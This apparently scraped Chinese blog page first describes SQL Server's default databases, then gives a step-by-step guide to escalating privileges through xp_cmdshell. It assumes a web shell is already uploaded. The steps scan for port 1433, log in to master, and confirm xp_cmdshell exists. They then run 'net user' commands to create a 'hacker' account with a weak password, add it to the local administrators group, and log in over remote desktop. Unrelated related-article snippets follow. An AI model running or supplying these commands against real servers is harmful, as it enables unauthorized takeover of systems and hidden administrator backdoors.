数据库中的一些默认数据库功能以及MSSqlservwer xp_cmdshell提权

1、Master数据库
Master数据库记录了Sqlserver所有的服务器级系统信息,所有的注册帐户和密码,以及所有的系统设置信息,还记录了所有用户定义数据库的存储位置和初始化信息。
2、Tempdb数据库
Tempdb记录了所有的临时表、临时数据和临时创建的存储过程。Tempdb数据库是一个全局资源,没有专门的权限限制,允许所有可以连上Sqlserver服务器的用户使用。
在Tempdb数据库存放的所有数据信息都是临时的。每当连接断开时,所有的临时表和临时存储过程都将自动丢弃。每次系统启动时Sqlserver都会根据Model数据库重新创建Tempdb数据库。
3、Model数据库
Model数据库是用户建立新数据库的模板,它包含了将复制到每个用户数据库中去的系统表。每当创建数据库的语句create database执行时,服务器总是通过复制model数据库来建立新数据库的前面部分,新数据库的后面部分被初始化成空白的数据页,以供用户存放数据。
4、Msdb数据库
Msdb数据库主要被sqlserver agent用来进行复制、作业调度以及管理报警等活动。该数据库常被用来通过调度任务排除故障。

MSSqlservwer xp_cmdshell提权

一、前提上传大马成功后
二、端口扫描,发现有1433端口开放,是mssql数据库
三、连接mssql数据库输入数据库名master以及密码,在sql操作命令行输入“ select count(*)from master.dbo.sysobjects where xtype = ‘x‘ and name = ‘xp_cmdshell‘ ”,查看cmd_shell是否开启,存在则返回1;
四、添加系统账号,在sql操作命令中输入Exec master.dbo.xp_cmdshell ‘net user hacker 123456/add‘,没有回显列表表示成功;
继续输入 Exec master.dbo.xp_cmdshell ‘net localgroup administrators hacker /add‘ ,将hacker加入管理组;
五、淡季用户账户查看添加的账户;’
六、scan查看端口号,是否开启3389端口;
七、远程目标主机桌面即可成功;

时间: 2024-11-08 19:27:29

数据库中的一些默认数据库功能以及MSSqlservwer xp_cmdshell提权的相关文章

ThinkPHP 购物商城网站(数据库中增删改查的功能实现)——————重点——————

控制器 ---------------------GoodsController.class.php------------------------------------------------- <?php namespace Admin\Controller; use Think\Controller; class GoodsController extends Controller{ public function showlist1(){ // $goods=new GoodsMode

Oracle 导出远程库dmp文件--&gt;导入到本地oracle数据库中,实现远程数据库的复制和移植.

大家是否有这样的烦恼,想将公司项目变成自己的项目资源库.但是项目完全复制下来到自己机器上运行,发现无法访问远程数据库的错误,为了解决这一困扰,作者尝试了将远程数据库导入到本地数据库的操作,遇到了不小的麻烦,做下记录. 导入脚本: --表空间 CREATE TABLESPACE EC DATAFILE 'd:\tablespace\ec.dbf' size 3000M EXTENT MANAGEMENT LOCAL SEGMENT SPACE MANAGEMENT AUTO; --2.建用户 cr

获取数据库中指定类型的数据库名称

/// <summary> /// 获取数据库名称 /// </summary> /// <param name="Account">帐套号</param> /// <returns></returns> public static string GetDBName(string Account) { StringBuilder strSql = new StringBuilder(); strSql.Append

????SQL Server中默认数据库和默认表的作用

我们知道Oracle数据库的安装架构可以是1个数据库对应1个或多个实例.而在SQL Server中,其架构和Oracle 完全相反,它是1个实例(默认实例名为Hostname主机名)下面包含多个数据库,在sqlserver数据库中(2000,2005,2008等),主要包含4个默认的数据库,分别是master数据库.model数据库.tempdb数据库和msdb数据库.这些数据库是SQL Server的心脏和灵魂.另外,还默认安装了两个实例数据库,分别是:northwind数据库和pubs数据库

Android settings.db数据库中添加一条新的默认配置项

Settings数据存放在com.android.providers.settings/databases/settings.db 中 数据库中数据的默认数据在frameworks/base/packages/SettingsProvider/res/values/defaults.xml中定义,如果要在数据库中添加一个新的字段,则可用如下步骤: 1.在defaults.xml中为新加的数据定义一个默认值(如def_mtk_off_flag)(当然也可在代码中直接给定) 2.在framework

数据库基础#3:数据库中的数据?

原文链接:https://www.scarydba.com/2017/06/20/database-fundamentals-3-whats-database/ 转载自BOOK – "EXECUTION PLANS" CODE   AZURE DATA PLATFORM INSTRUCTORS 值得注意的是,很多人永远不需要创建自己的数据库. 您也许永远不会创建自己的表或其他数据结构. 您只能运行备份和恢复并操纵系统上的安全性,并让应用程序为您安装数据库. 这是完全可以理解的,完全符合

数据库中对存储过程的理解

1.存储过程的概念 存储过程(Stored Procedure)是一组为了完成特定功能的SQL语句集.经编译后存储在数据库中. 存储过程是数据库中的一个重要对象,用户通过指定存储过程的名字并给出参数(如果该存储过程带有参数)来执行它. 存储过程是由 流控制 和 SQL语句书写的过程,这个过程经编译和优化后存储在数据库服务器中. 存储过程 可由应用程序通过一个调用来执行,而且允许用户声明变量. 同时,存储过程可以接收和输出参数.返回执行存储过程的状态值,也可以嵌套调用. 2.存储过程的优点 ① 存

(3.15)mysql基础深入——mysql默认数据库/系统数据库

(3.15)mysql基础深入——mysql默认数据库 关键词:Mysql默认数据库,mysql系统数据库 1.系统数据库的组成 一共4个 [1]information_schema [2]mysql [3]performance_schema [4]sys [1]information_schema [2]mysql mysql数据库是Mysql核心的数据库,类似于sql server中的master库,oracle中的system部分功能. 主要负责存储数据库的用户/权限等Mysql自己需要

Linux下安装Python3的django并配置mysql作为django默认数据库(转载)

我的操作系统为centos6.5 1  首先选择django要使用什么数据库.django1.10默认数据库为sqlite3,本人想使用mysql数据库,但为了测试方便顺便要安装一下sqlite开发包. yum install mysql mysql-devel #为了测试方便,我们需要安装sqlite-devel包 yum install sqlite-devel 2  接下来需要安装Python了,因为Python3已经成为主流,所以接下来我们要安装Python3,到官网去下载Python3